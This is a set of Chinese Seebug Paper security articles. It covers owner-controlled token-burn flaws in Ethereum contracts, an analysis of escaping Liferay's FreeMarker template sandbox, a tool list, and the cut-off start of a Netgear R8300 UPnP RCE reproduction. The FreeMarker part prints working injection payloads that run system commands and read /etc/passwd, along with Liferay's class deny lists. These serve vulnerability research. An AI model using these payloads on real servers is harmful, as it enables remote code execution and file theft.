漏洞分析:如上图所示,burnTokens用于销毁用户的代币,由于销毁的地址参数、销毁的代币数量都可控,所以合约的调用者可以销毁任意用户的代币,但是该函数只能被合约的ICO地址用户调用,下面跟踪一下该账户看看其实现上是否可以
从上面可以看到合约在初始化是对icoContract进行了赋值,下面通过etherscan.io中的readcontract溯源一下:
之后再次进入icoContract中跟踪是否可以成功调用:
从代码中可以看到burnTokens(关于修饰器的跟踪分析与之前类似,这里不再赘述):
这里的cartaxiToken即为之前的合约地址:
同时发现存在调用的历史记录:https://etherscan.io/tx/0xf5d125c945e697966703894a400a311dc189d480e625aec1e317abb2434131f4
destory()
合约地址:https://etherscan.io/address/0x27695e09149adc738a978e9a678f99e4c39e9eb9#code
利用条件:合约的owner权限
漏洞代码:
如上图所示,在智能合约当中提供了destory函数,用于销毁目标账户的代币,在该函数当中增加了对msg.sender、accountBalance的判断,从整个逻辑上可以看到主要有两种销毁途径:
- 途径一:合约的owner赋予allowManuallyBurnTokens为"true"的条件下,地址账户自我销毁自己的代币
- 途径二:无需allowManuallyBurnTokens为"true"的条件,合约的owner销毁任意地址用户的代币
自然,途径一自我销毁代币合情合理,但是途径二却导致合约的owner可以操控任意地址用户的代币,例如:销毁地址用户的所有代币,导致任意地址用户的代币为他人所操控,这自然不是地址用户所期望的。
destroyTokens()
合约地址:https://etherscan.io/address/0xf7920b0768ecb20a123fac32311d07d193381d6f#code
利用条件:Controller地址账户
漏洞代码:
如上图所示,destroyTokens函数用于销毁代币,其中地址参数可控,在函数中只校验了销毁地址账户的代币是否大于要销毁的数量以及当前总发行量是否大于要销毁的数量,之后进行更新代币总量和地址账户的代币数量,不过该函数有onlyController修饰器进行修饰,下面看以下该修饰器的具体内容:
之后通过ReadContract可以看到该controller的地址:
之后再Etherscan中可以查看到该地址对应的为一个地址账户,故而该地址账户可以操控原合约中的任意地址用户的代币:
destroyIBTCToken
合约地址:https://etherscan.io/address/0xb7c4a82936194fee52a4e3d4cec3415f74507532#code
利用条件:合约的owner
漏洞代码:
如上图所示合约中的destroyIBTCToken是用于销毁IBTCToken的,但是由于该函数只能被合约的owner调用,而且要销毁的地址参数to可控,所以合约的owner可以传入任意用户的地址作为参数to,之后销毁任意地址账户的代币,onlyOwner修饰器如下所示:
melt()
合约地址:https://etherscan.io/address/0xabc1280a0187a2020cc675437aed400185f86db6#code
利用条件:合约的owner
漏洞代码:
漏洞分析:如上图所示合约中的melt函数用于销毁代币的token,且该函数只能被合约的CFO调用,同时由于地址参数dst可控,故合约的CFO可以销毁任意地址用户的代币,onlyCFO修饰器代码如下所示
onlyCFO修饰器中的_cfo由构造函数初始化:
Sweep()
合约地址:https://etherscan.io/address/0x4bd70556ae3f8a6ec6c4080a0c327b24325438f3#code
利用条件:合约的owner,同时mintingFinished为"False"
漏洞代码:
如上图所示,合约中的sweep函数用于转发代币,该函数只能被合约的owner调用,在L167行优先通过allowance进行授权操作代币的操作,之后调用transferFrom函数,并在transferFrom函数中做了相关的减法操作,由此抵消授权操作代币:
之后紧接着又调用了_transfer函数:
在transfer函数中判断转账地址是否为空、进行转账防溢出检查、进行转账操作,通过以上逻辑可以发现由于sweep中的地址参数 _ from、_to可控,而且该函数只能被合约的owner调用,所以合约的owner可以通过该函数操控任意用户的balance,并且将其转向任意用户的地址或者自己的地址。
zero_fee_transaction
合约地址: https://etherscan.io/address/0xD65960FAcb8E4a2dFcb2C2212cb2e44a02e2a57E#code
利用条件:合约的owner
漏洞代码:
漏洞分析:在智能合约中常见的转账方式大致有2种,一种是直接转账,例如常见的Transfer函数,该函数有两个参数,一个指定代币接受的地址,另一个为转账的额度,例如:
另外一种为授权其他用户代为转账,这里的其他用户类似于一个中介媒介的作用,其他用户可以对授权用户授予的资金额度进行操作,常见的也是transfer函数,不过参数个数不同而已,其中有三个参数,一个为代为转账的地址,一个为接受代币的地址,一个为接受代币的数量,例如:
了解了常见的两种转账方式,下面我们回过头来看一下漏洞代码:
可以看到在函数zero_fee_transaction中进行了以下判断:
1、判断的当前代为转账的额度是否大于当前转账的数量
2、判断当前转账的数量是否大于0
3、防溢出检查
可以发现这里未对当前函数调用者是否具备授权转账进行检查(暂时忽略onlycentralAccount修饰器)以及授权额度进行检查,只对转账额度以及是否溢出进行了检查,显然这里是存在问题的,而且该函数没有修饰词进行修饰,故默认为public,这样一来所有人都可以调用该函数,在这里我们可以看到在不管修饰器onlycentralAccount的情况下我们可以传递任意地址账户为from、任意地址账户为to、以及任意数量(需要小于from地址账户的代币数量),之后即可无限制的从from地址账户转代币到to账户,直到from地址的代币数量归0。
下面我们看一下onlycentralAccount修饰器对于函数调用者的身份限定:
之后搜索central_account发现central_account由函数set_centralAccount进行赋值操作,此处的修饰器为onlyOwner:
之后查看onlyOwner修饰器可以看到此处需要msg.sender为owner,即合约的owner,在构造函数中进行初始化:
文末小结
智能合约主要依托于公链(例如:以太坊)来发行代币并提供代币的转账、销毁、增发等其它逻辑功能,但用户的代币理应由用户自我进行控制(通过交易增加或减少),并由用户自我决定是否销毁持币数量,而不是由合约的owner或其他特殊的地址账户进行操控。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1300/
-
逃逸安全的模板沙箱(一)——FreeMarker(上)
作者:DEADF1SH_CAT @ 知道创宇404实验室
时间:2020年8月24日前言
8月5日 @pwntester 联合 @Oleksandr Mirosh 发表了一个关于 Java 模板注入的BlackHat USA 2020 议题[1],议题介绍了现阶段各种 CMS 模板引擎中存在的缺陷,其中包含通用缺陷以及各个模板引擎特性造成的缺陷。由于不同模板引擎有不同语法特性,因此文章将分为系列文章进行阐述。
笔者前期主要是对 Liferay 的 FreeMarker 引擎进行了调试分析,故本文先以 FreeMarker 为例,梳理该模板引擎 SSTI 漏洞的前世今生,同时叙述自己的 Liferay FreeMarker SSTI 漏洞踩坑历程及对 Liferay 安全机制的分析。由于涉及内容比较多,请大家耐心阅读,若是已经本身对 FreeMarker 引擎有了解,可直接跳到文章后半部分阅读。
FreeMarker基础知识
FreeMarker 是一款模板引擎,即一种基于模板和需要改变的数据, 并用来生成输出文本( HTML 网页,电子邮件,配置文件,源代码等)的通用工具,其模板语言为 FreeMarker Template Language (FTL)。
在这里简单介绍下 FreeMarker 的几个语法,其余语法指令可自行在 FreeMarker 官方手册[2]进行查询。
FTL指令规则
在 FreeMarker 中,我们可以通过FTL标签来使用指令。FreeMarker 有3种 FTL 标签,这和 HTML 标签是完全类似的。
123开始标签:<#directivename parameter>结束标签:</#directivename>空标签:<#directivename parameter/>实际上,使用标签时前面的符号 # 也可能变成 @,如果该指令是一个用户指令而不是系统内建指令时,应将 # 符号改成 @ 符号。这里主要介绍 assign 指令,主要是用于为该模板页面创建或替换一个顶层变量。
12345678910111213141516<#assign name1=value1 name2=value2 ... nameN=valueN>or<#assign same as above... in namespacehash>or<#assign name>capture this</#assign>or<#assign name in namespacehash>capture this</#assign>Tips:name为变量名,value为表达式,namespacehash是命名空间创建的哈希表,是表达式。for example:<#assign seq = ["foo", "bar", "baz"]>//创建了一个变量名为seq的序列创建好的变量,可以通过插值进行调用。插值是用来给表达式插入具体值然后转换为文本(字符串),FreeMarker 的插值主要有如下两种类型:
- 通用插值:
${expr}
- 数字格式化插值:
#{expr}
这里主要介绍通用插值,当插入的值为字符串时,将直接输出表达式结果,举个例子:
123eg:${100 + 5} => 105${seq[1]} => bar //上文创建的序列插值仅仅可以在两种位置使用:在文本区(比如
Hello ${name}!
) 和字符串表达式(比如<#include "/footer/${company}.html">
)中。内建函数
FreeMarker 提供了大量的内建函数,用于拓展模板语言的功能,大大增强了模板语言的可操作性。具体用法为
variable_name?method_name
。然而其中也存在着一些危险的内建函数,这些函数也可以在官方文档中找到,此处不过多阐述。主要介绍两个内建函数,api
和new
,如果开发人员不加以限制,将造成极大危害。api
函数
如果 value 本身支撑
api
这个特性,value?api
会提供访问 value 的 API(通常为 Java API),比如value?api.someJavaMethod()
。123eg:<#assign classLoader=object?api.class.protectionDomain.classLoader>//获取到classloader即可通过loadClass方法加载恶意类但值得庆幸的是,
api
内建函数并不能随意使用,必须在配置项api_builtin_enabled
为true
时才有效,而该配置在2.3.22
版本之后默认为false
。new
函数
这是用来创建一个具体实现了
TemplateModel
接口的变量的内建函数。在?
的左边可以指定一个字符串, 其值为具体实现了TemplateModel
接口的完整类名,然后函数将会调用该类的构造方法生成一个对象并返回。1234//freemarker.template.utility.Execute实现了TemplateMethodModel接口(继承自TemplateModel)<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}//系统执行id命令并返回=> uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)拥有编辑模板权限的用户可以创建任意实现了
TemplateModel
接口的Java对象,同时还可以触发没有实现TemplateModel
接口的类的静态初始化块,因此new
函数存在很大的安全隐患。好在官方也提供了限制的方法,可以使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)
或设置new_builtin_class_resolver
来限制这个内建函数对类的访问(从 2.3.17版开始)。FreeMarker初代SSTI漏洞及安全机制
经过前文的介绍,我们可以发现 FreeMarker 的一些特性将造成模板注入问题,在这里主要通过
api
和new
两个内建函数进行分析。- api 内建函数的利用
我们可以通过
api
内建函数获取类的classloader
然后加载恶意类,或者通过Class.getResource
的返回值来访问URI
对象。URI
对象包含toURL
和create
方法,我们通过这两个方法创建任意URI
,然后用toURL
访问任意URL。1234567891011121314eg1:<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("our.desired.class")}eg2:<#assign uri=object?api.class.getResource("/").toURI()><#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()><#assign is=input?api.getInputStream()>FILE:[<#list 0..999999999 as _><#assign byte=is.read()><#if byte == -1><#break></#if>${byte}, </#list>]- new 内建函数的利用
主要是寻找实现了
TemplateModel
接口的可利用类来进行实例化。freemarker.template.utility
包中存在三个符合条件的类,分别为Execute
类、ObjectConstructor
类、JythonRuntime
类。123<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>//@value为自定义标签当然对于这两种方式的利用,FreeMarker 也做了相应的安全措施。针对
api
的利用方式,设置配置项api_builtin_enabled
的默认值为false
。同时为了防御通过其他方式调用恶意方法,FreeMarker内置了一份危险方法名单unsafeMethods.properties
[3],诸如getClassLoader
、newInstance
等危险方法都被禁用了,下面列出一小部分,其余请自行查阅文件。123456789101112131415//unsafeMethods.propertiesjava.lang.Object.wait()java.lang.Object.wait(long)java.lang.Object.wait(long,int)java.lang.Object.notify()java.lang.Object.notifyAll()java.lang.Class.getClassLoader()java.lang.Class.newInstance()java.lang.Class.forName(java.lang.String)java.lang.Class.forName(java.lang.String,boolean,java.lang.ClassLoader)java.lang.reflect.Constructor.newInstance([Ljava.lang.Object;)...more针对
new
的利用方式,上文已提到过官方提供的一种限制方式——使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)
或设置new_builtin_class_resolver
来限制这个内建函数对类的访问。此处官方提供了三个预定义的解析器:- UNRESTRICTED_RESOLVER:简单地调用
ClassUtil.forName(String)
。 - SAFER_RESOLVER:和第一个类似,但禁止解析
ObjectConstructor
,Execute
和freemarker.template.utility.JythonRuntime
。 - ALLOWS_NOTHING_RESOLVER:禁止解析任何类。
当然用户自身也可以自定义解析器以拓展对危险类的限制,只需要实现
TemplateClassResolver
接口就好了,接下来会介绍到的 Liferay 就是通过其自定义的解析器LiferayTemplateClassResolver
去构建 FreeMarker 的模板沙箱。Liferay FreeMarker模板引擎SSTI漏洞踩坑历程
碰出一扇窗
在研究这个 BlackHat 议题的过程中,我们遇到了很多问题,接下来就顺着我们的分析思路,一起探讨 Liferay 的安全机制,本次测试用的环境为 Liferay Portal CE 7.3 GA1。
先来看看 GHSL 安全团队发布的 Liferay SSTI 漏洞通告[4]:
Even though Liferay does a good job extending the FreeMarker sandbox with a custom ObjectWrapper (
com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper.java
) which enhances which objects can be accessed from a Template, and also disables insecure defaults such as the?new
built-in to prevent instantiation of arbitrary classes, it stills exposes a number of objects through the Templating API that can be used to circumvent the sandbox and achieve remote code execution.Deep inspection of the exposed objects' object graph allows an attacker to get access to objects that allow them to instantiate arbitrary Java objects.
可以看到,给出的信息十分精简有限,但是还是能从中找到关键点。结合议题介绍和其他同类型的漏洞介绍,我们能梳理出一些关键点。
- Exposed Object
通告中提及了通过模板 API 暴露出大量的可访问对象,而这些对象即为 SSTI 漏洞的入口,通过这些对象的方法或者属性可以进行模板沙箱的绕过。这也是议题的一大重点,因为大多数涉及第三方模板引擎的CMS都没有对这些暴露的对象进行控制。
- RestrictedLiferayObjectWrapper.java
根据介绍,该自定义的
ObjectWrapper
拓展了FreeMarker的安全沙箱,增强了可通过模板访问的对象,同时也限制了不安全的默认配置以防止实例化任何类,比如?new
方法。可以看出这是Liferay赋予模板沙箱的主要安全机制。可以看到,重点在于如何找到暴露出的对象,其次思考如何利用这些对象绕过Liferay的安全机制。
我们在编辑模板时,会看到一个代码提示框。列表中的变量都是可以访问的,且无需定义,也不用实现
TemplateModel
接口。但该列表会受到沙箱的限制,其中有一部分对象被封禁,无法被调用。这些便是通过模板 API 暴露出来的一部分对象,但这是以用户视角所看到的,要是我们以运行态的视角去观察呢。既然有了暴露点,其背后肯定存在着许多未暴露出的对象。
所以我们可以通过调试定位到一个关键对象——
FreeMarkerTemplate
,其本质上是一个Map<String, Object>
对象。该对象不仅涵盖了上述列表中的对象,还存在着很多其他未暴露出的对象。整个FreeMarkerTemplate
对象共列出了154个对象,大大拓宽了我们的利用思路。在FreeMarker引擎里,这些对象被称作为根数据模型(rootDataModel
)。那么可以尝试从这154个对象中找出可利用的点,为此笔者进行了众多尝试,但由于 Liferay 健全的安全机制,全都失败了。下面是一些调试过程中发现在后续利用过程中可能有用的对象:
12345678910"getterUtil" -> {GetterUtil_IW@47242} //存在各种get方法"saxReaderUtil" -> {$Proxy411@47240} "com.liferay.portal.xml.SAXReaderImpl@294e3d8d"//代理对象,存在read方法,可以传入File、url等参数"expandoValueLocalService" -> {$Proxy58@47272} "com.liferay.portlet.expando.service.impl.ExpandoValueLocalServiceImpl@15152694"//代理对象,其handler为AopInvocationHandler,存在invoke方法,且方法名和参数名可控。proxy对象可以通过其setTarget方法进行替换。"realUser" -> {UserImpl@49915}//敏感信息"user" -> {UserImpl@49915}//敏感信息"unicodeFormatter" -> {UnicodeFormatter_IW@47290} //编码转换"urlCodec" -> {URLCodec_IW@47344} //url编解码"jsonFactoryUtil" -> {JSONFactoryImpl@47260} //可以操作各种JSON相关方法接下来将会通过叙述笔者对各种利用思路的尝试,对 Liferay 中 FreeMarker 模板引擎的安全机制进行深入分析。
“攻不破”的 Liferay FreeMarker 安全机制
在以往我们一般是通过
Class.getClassloader().loadClass(xxx)
的方式加载任意类,但是在前文提及的unsafeMethods.properties
中,我们可以看到java.lang.Class.getClassLoader()
方法是被禁止调用的。这时候我们只能另辟蹊径,在 Java 官方文档中可以发现
Class
类有一个getProtectionDomain
方法,可以返回一个ProtectionDomain
对象[5]。而这个对象同时也有一个getClassLoader
方法,并且ProtectionDomain.getClassLoader
方法并没有被禁止调用。获取
CLassLoader
的方式有了,接下来,我们只要能够获得class
对象,就可以加载任意类。但是当我们试图去获取class
对象时,会发现这是行不通的,因为这会触发 Liferay 的安全机制。定位到 GHSL 团队提及的
com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper.java
文件,可以发现模板对象会经过wrap
方法修饰。通过
wrap(java.lang.Object obj)
方法,用户可以传入一个Object
对象,然后返回一个与之对应的TemplateModel
对象,或者抛出异常。模板在语法解析的过程中会调用TemplateModel
对象的get
方法,而其中又会调用BeansWrapper
的invokeMethod
进行解析,最后会调用外部的wrap
方法对获取到的对象进行包装。此处的
getOuterIdentity
即为TemplateModel
对象指定的Wrapper
。除了预定义的一些对象,其余默认使用RestrictedLiferayObjectWrapper
进行解析。回到
RestrictedLiferayObjectWrapper
,该包装类主要的继承关系为RestrictedLiferayObjectWrapper->LiferayObjectWrapper->DefaultObjectWrapper->BeansWrapper
,在wrap
的执行过程中会逐步调用父类的wrap
方法,那么先来分析RestrictedLiferayObjectWrapper
的wrap
方法。wrap
方法中会先通过getClass()
方法获得class
对象,然后调用_checkClassIsRestricted
方法,进行黑名单类的判定。此处
_allowedClassNames
、_restrictedClasses
和_restrictedMethodNames
是在com.liferay.portal.template.freemarker.configuration.FreeMarkerEngineConfiguration
中被预先定义的黑白名单,其中_allowedClassNames
默认为空。对比一下7.3.0-GA1和7.3.2-GA3内置的黑名单:- 7.3.0-GA1
1234567891011121314151617181920@Meta.AD(name = "allowed-classes", required = false)public String[] allowedClasses();@Meta.AD(deflt = "com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist|java.lang.Class|java.lang.ClassLoader|java.lang.Compiler|java.lang.Package|java.lang.Process|java.lang.Runtime|java.lang.RuntimePermission|java.lang.SecurityManager|java.lang.System|java.lang.Thread|java.lang.ThreadGroup|java.lang.ThreadLocal",name = "restricted-classes", required = false)public String[] restrictedClasses();@Meta.AD(deflt = "com.liferay.portal.model.impl.CompanyImpl#getKey",name = "restricted-methods", required = false)public String[] restrictedMethods();@Meta.AD(deflt = "httpUtilUnsafe|objectUtil|serviceLocator|staticFieldGetter|staticUtil|utilLocator",name = "restricted-variables", required = false)public String[] restrictedVariables();- 7.3.2-GA3
1234567891011121314151617181920@Meta.AD(name = "allowed-classes", required = false)public String[] allowedClasses();@Meta.AD(deflt = "com.ibm.*|com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist|com.liferay.portal.spring.context.*|io.undertow.*|java.lang.Class|java.lang.ClassLoader|java.lang.Compiler|java.lang.Package|java.lang.Process|java.lang.Runtime|java.lang.RuntimePermission|java.lang.SecurityManager|java.lang.System|java.lang.Thread|java.lang.ThreadGroup|java.lang.ThreadLocal|org.apache.*|org.glassfish.*|org.jboss.*|org.springframework.*|org.wildfly.*|weblogic.*",name = "restricted-classes", required = false)public String[] restrictedClasses();@Meta.AD(deflt = "com.liferay.portal.model.impl.CompanyImpl#getKey",name = "restricted-methods", required = false)public String[] restrictedMethods();@Meta.AD(deflt = "httpUtilUnsafe|objectUtil|serviceLocator|staticFieldGetter|staticUtil|utilLocator",name = "restricted-variables", required = false)public String[] restrictedVariables();已修复的7.3.2版本增加了许多黑名单类,而这些黑名单类就是绕过沙箱的重点。如何利用这些黑名单中提及的类,进行模板沙箱的绕过,我们放在下篇文章进行阐述,这里暂不讨论。
我们可以发现
java.lang.Class
类已被拉黑,也就是说模板解析的过程中不能出现Class
对象。但是,针对这种过滤方式,依旧存在绕过的可能性。GHSL 安全团队在 JinJava 的 SSTI 漏洞通告提及到了一个利用方式:
JinJava does a great job preventing access to
Class
instances. It will prevent any access to aClass
property or invocation of any methods returning aClass
instance. However, it does not prevent Array or Map accesses returning aClass
instance. Therefore, it should be possible to get an instance ofClass
if we find a method returningClass[]
orMap<?, Class>
.既然
Class
对象被封禁,那么我们可以考虑通过Class[]
进行绕过,因为黑名单机制是通过getClass
方法进行判断的,而[Ljava.lang.Class
并不在黑名单内。另外,针对Map<?,Class>
的利用方式主要是通过get
方法获取到Class
对象,而不是通过getClass
方法,主要是用于拓展获得Class
对象的途径。因为需要自行寻找符合条件的方法,所以这种方式仍然具有一定的局限性,但是相信这个 trick 在某些场景下的利用能够大放光彩。经过一番搜寻,暂未在代码中寻找到合适的利用类,因此通过
Class
对象获取ClassLoader
的思路宣告失败。此外,实质上ClassLoader
也是被加入到黑名单中的。因此就算我们能从模板上下文中直接提取出ClassLoader
对象,避免直接通过Class
获取,也无法操控到ClassLoader
对象。既然加载任意类的思路已经被 Liferay 的安全机制防住,我们只能换个思路——寻找一些可被利用的恶意类或者危险方法。此处主要有两个思路,一个是通过
new
内建函数实例化恶意类,另外一个就是上文提及的JSONFactoryImpl
对象。文章开头提到过三种利用方式,但是由于 Liferay 自定义解析器的存在,均无法再被利用。定位到
com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver
这个类,重点关注其resolve
方法。可以看见,在代码层直接封禁了Execute
和ObjectConstructor
的实例化,其次又进行了黑名单类的判定。此处restrictedClassNames
跟上文所用的黑名单一致。这时候可能我们会想到,只要另外找一个实现
TemplateModel
接口并且不在黑名单内的恶意类(比如JythonRuntime
类)就可以成功绕过黑名单。然而 Liferay 的安全机制并没有这么简单,继续往下看。resolve
后半部分进行了白名单校验,而这里的allowedClasseNames
在配置里面默认为空,因此就算绕过了黑名单的限制,没有白名单的庇护也是无济于事。黑白名单的配合,直接宣告了
new
内建函数利用思路的惨败。不过,在这个过程中,我们还发现了一个有趣的东西。假设我们拥有控制白名单的权限,但是对于
JythonRuntime
类的利用又有环境的限制,这时候只能寻找其他的利用类。在调试过程中,我们注意到一个类——com.liferay.portal.template.freemarker.internal.LiferayObjectConstructor
,这个类的结构跟ObjectConstructor
极其相似,也同样拥有exec
方法,且参数可控。加入白名单测试弹计算器命指令,可以正常执行。虽然此处受白名单限制,利用难度较高。但是从另外的角度来看,
LiferayObjectConstructor
可以说是ObjectConstructor
的复制品,在某些场景下可能会起到关键作用。回归正题,此时我们只剩下一条思路——
JSONFactoryImpl
对象。不难发现,这个对象拥有着一系列与JSON有关的方法,其中包括serialize
和deserialize
方法。重点关注其
deserialize
方法,因为我们可以控制传入的JSON字符串,从而反序列化出我们需要的对象。此处_jsonSerializer
为LiferayJSONSerializer
对象(继承自JSONSerializer
类)。跟进
LiferayJSONSerializer
父类的fromJSON
方法,发现其中又调用了unmarshall
方法。在
unmarshall
方法中会调用getClassFromHint
方法,不过该方法在子类被重写了。跟进
LiferayJSONSerializer.getClassFromHint
方法,方法中会先进行javaClass
字段的判断,如果类不在白名单里就移除serializable
字段里的值,然后放进map
字段中,最后将类名更改为java.util.HashMap
。如果通过白名单校验,就会通过contextName
字段的值去指定ClassLoader
用于加载javaClass
字段指定的类。最后在方法末尾会执行super.getClassFromHint(object)
,回调父类的getClassFromHint
的方法。我们回到
unmarshall
方法,可以看到在方法末尾处会再次调用unmarshall
方法,实质上这是一个递归解析 JSON 字符串的过程。这里有个getSerializer
方法,主要是针对不同的class
获取相应的序列器,这里不过多阐述。因为递归调用的因素,每次都会进行类名的白名单判定。而白名单在
portal-impl.jar
里的portal.properties
被预先定义:1234567891011121314151617//Line 7227json.deserialization.whitelist.class.names=\com.liferay.portal.kernel.cal.DayAndPosition,\com.liferay.portal.kernel.cal.Duration,\com.liferay.portal.kernel.cal.TZSRecurrence,\com.liferay.portal.kernel.messaging.Message,\com.liferay.portal.kernel.model.PortletPreferencesIds,\com.liferay.portal.kernel.security.auth.HttpPrincipal,\com.liferay.portal.kernel.service.permission.ModelPermissions,\com.liferay.portal.kernel.service.ServiceContext,\com.liferay.portal.kernel.util.GroupSubscriptionCheckSubscriptionSender,\com.liferay.portal.kernel.util.LongWrapper,\com.liferay.portal.kernel.util.SubscriptionSender,\java.util.GregorianCalendar,\java.util.Locale,\java.util.TimeZone,\sun.util.calendar.ZoneInfo可以看到,白名单成功限制了用户通过 JSON 反序列化任意类的操作。虽然白名单类拥有一个
register
方法,可自定义添加白名单类。但 Liferay 也早已意识到这一点,为了防止该类被恶意操控,将com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist
添加进黑名单。至此,利用思路在 Liferay 的安全机制下全部惨败。Liferay 健全的黑白名单机制,从根源上限制了大多数攻击思路的利用,可谓是“攻不破”的铜墙铁壁。但是,在众多安全研究人员的猛烈进攻下,该安全机制暴露出一个弱点。通过这个弱点可一举击破整个安全机制,从内部瓦解整个防线。而关于这个弱点的阐述及其利用,我们下一篇文章见。
References
[1] Room for Escape: Scribbling Outside the Lines of Template Security
[2] FreeMarker Java Template Engine
[3] FreeMarker unsafeMethods.properties
[4] GHSL-2020-043: Server-side template injection in Liferay - CVE-2020-13445
[5] ProtectionDomain (Java Platform SE 8 )
[6] In-depth Freemarker Template Injection
[7] FreeMarker模板注入实现远程命令执行
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1304/
- 通用插值:
-
404 StarLink Project – 404星链计划一期
作者:知道创宇404实验室
时间:2020年8月24日“404星链计划”是知道创宇404实验室于2020年8月开始的计划,旨在通过开源或者开放的方式,长期维护并推进涉及安全研究各个领域不同环节的工具化,就像星链一样,将立足于不同安全领域、不同安全环节的研究人员链接起来。
其中不仅限于突破安全壁垒的大型工具,也会包括涉及到优化日常使用体验的各种小工具,除了404自研的工具开放以外,也会不断收集安全研究、渗透测试过程中的痛点,希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题,营造一个更好更开放的安全工具促进与交流的技术氛围。
项目地址: - https://github.com/knownsec/404StarLink-Project
Contents
- Project
- ksubdomain
- the fastest subdomain enumeration tool
- Zoomeye Tools
- the Chrome extension with Zoomeye
- Pocsuite3
- pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.
- Zoomeye SDK
- ZoomEye API SDK
- wam
- WAM is a platform powered by Python to monitor "Web App"
- Minitools
- ipstatistics
- ipstatistics is a script based on the ipip library that is used to quickly filter the ip list.
- cidrgen
- cidrgen is based on cidr's subnet IP list generator
Project
该分类下主要聚合各类安全工具,偏向于可用性较高的完整项目。
- ksubdomain
项目链接:
https://github.com/knownsec/ksubdomain
项目简述:
ksubdomain是最快的子域名爆破工具,并且能运行在Windows/Linux/Mac,它可以很快的进行DNS爆破,在Mac和Windows上理论最大发包速度在30w/s,linux上为160w/s的速度。
- Zoomeye Tools
项目链接:
https://github.com/knownsec/Zoomeye-Tools
项目简述:
Zoomeye Tools包括Zoomeye minitools以及Zoomeye preview两个功能。 minitools目前集成了针对zoomeye.org使用过程中,以多种格式复制所有目标,以方便快捷的方式进入下一步扫描。
preview实现了一个简易的Zoomeye界面,当用户登录并点开preview时,可以方便快捷的看到当前站ip的各种信息以及开放端口信息。
- Pocsuite3
项目链接:
https://github.com/knownsec/pocsuite3
项目简述:
pocsuite3是由Knownsec 404团队开发的开源远程漏洞测试和概念验证开发框架。它带有强大的概念验证引擎,以及针对最终渗透测试人员和安全研究人员的许多强大功能。
- Zoomeye SDK
项目链接:
https://github.com/knownsec/ZoomEye
项目简述:
ZoomEye是用于网络空间的搜索引擎,可让用户查找特定的网络组件(ip,服务等)。
ZoomEye API是一项Web服务,可通过HTTPS方便地访问ZoomEye功能,数据和信息。 平台API使开发人员能够自动化,扩展和连接ZoomEye。 您可以使用ZoomEye平台API来以编程方式创建应用,提供一些附加组件并执行一些自动化任务。 试想一下,使用ZoomEye可以做得很棒。
- wam
项目链接:
https://github.com/knownsec/wam
项目简述:
WAM是一个由Python驱动的平台,用于监视“ Web App”,“动态网络信息”。 在某种程度上,它可以极大地帮助安全研究人员节省跟踪脆弱代码更新和投资行业动态的时间。
AM模型:此模块可以监视互联网上所有应用程序的每个更新,分析所做的更改以生成Tag并提供邮件通知;
IDM模型:此模块使用Web搜寻器来获取行业动态信息并将其报告给用户。
VDR Model:此模块管理器在历史记录中的所有应用程序包,并保存其中DIFF详细信息的更新版本;
Minitools
该分类下主要聚合各类安全研究过程中涉及到的小工具、脚本,旨在优化日常安全自动化的使用体验。
- ipstatistics
项目链接:
https://github.com/knownsec/Minitools-ipstatistics
项目简述:
ipstatistics是一个基于ipip库的,用于快速筛选ip列表的脚本,可以快速筛选出国家、地区以及排除特殊地区的ip目标。
- cidrgen
项目链接:
https://github.com/knownsec/Minitools-cidrgen
项目简述:
cidrgen基于cidr的子网IP列表生成器,快捷解决扫描时展开子网的痛点。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1306/
-
Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现
作者:fenix@知道创宇404实验室
时间:2020年8月25日1.前言
R8300 是 Netgear 旗下的一款三频无线路由,主要在北美发售,官方售价 $229.99。
2020 年 7 月 31 日,Netgear 官方发布安全公告,在更新版固件 1.0.2.134 中修复了 R8300 的一个未授权 RCE 漏洞【1】。2020 年 8 月 18 日,SSD Secure Disclosure 上公开了该漏洞的细节及 EXP【2】。
该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。
回顾了下整个复现流程还是很有趣的,特此记录。
2.环境搭建
下面先搭建漏洞调试环境。在有设备的情况下,有多种直接获取系统 shell 的方式,如:
- 硬件调试接口,如:UART
- 历史 RCE 漏洞,如:NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞【3】
- 设备自身的后门,Unlocking the Netgear Telnet Console【4】
- 破解固件检验算法,开启 telnet 或植入反连程序。
不幸的是,没有设备...
理论上,只要 CPU 指令集对的上,就可以跑起来,所以我们还可以利用手头的树莓派、路由器摄像头的开发板等来运行。最后一个就是基于 QEMU 的指令翻译,可以在现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。
下载固件
Netgear 还是很良心的,在官网提供了历史固件下载。
下载地址:【5】
下载的固件 md5sum 如下:
12c3eb8f8c004d466796a05b4c60503162 R8300-V1.0.2.130_1.0.99.zip - 漏洞版本abce2193f5f24f743c738d24d36d7717 R8300-V1.0.2.134_1.0.99.zip - 补丁版本binwalk 可以正确识别。
